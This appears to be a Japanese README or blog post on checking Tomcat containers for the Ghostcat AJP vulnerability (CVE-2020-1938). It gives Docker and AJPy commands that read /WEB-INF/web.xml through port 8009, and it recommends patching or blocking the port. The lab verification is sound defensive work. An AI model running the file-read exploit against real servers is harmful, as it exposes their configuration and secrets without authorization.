Ghostcat と呼ばれる新しいエクスプロイトが発見されました CVE-2020-1938。エクスプロイト自体の詳細と分析については、snyk と tenable の記事を参照してください。
私の場合、どの Tomcat サーバーが悪用可能で、もし可能ならそれがどのように現れるのかを検証したかったのです。そこで、この実験では Tomcat 7、8、9 を確認します。
TODO: Tomcat 7 が脆弱であることを確認するにはどうすればよいですか?
実稼働サーバーに対してエクスプロイトをテストするのではなく、既存の Tomcat ビルドを使用して、AJP コネクタと通信するために AJP リクエストを作成する AJPy を使って実験を行います。
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
web.xml が返される場合、このバージョンの Tomcat はこのエクスプロイトに対して脆弱です。
最新バージョンの Tomcat 8.5 で同じテストを試すと、この特定のエラーに対しては脆弱ではないことがわかります。
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
この場合、python エラーが発生するはずです。これは実際にはサーバーが脆弱ではないことを意味します。
Traceback (most recent call last):
File "tomcat.py", line 377, in <module>
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
...
...
struct.error: unpack requires a buffer of 5 bytes
TODO: Tomcat 9 が脆弱であることを確認するにはどうすればよいですか?
TODO: springboot サービスが脆弱であることを確認するにはどうすればよいですか?
明らかに、脆弱な場合(バージョンに関係なく)、パッチ適用済みのバージョンへのアップグレードを検討する必要があります。もう 1 つの選択肢は、AJP ポートへのアクセスをブロックすることです。
同じ Tomcat バージョンを起動しますが、AJP ポート 8009 は公開しません。
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
この場合、サーバーへのエクスプロイトが失敗することがわかります。
私はセキュリティの専門家ではなく、このリポジトリは学習目的で作成されたものであり、悪意のある目的で使用されることを意図したものではありません。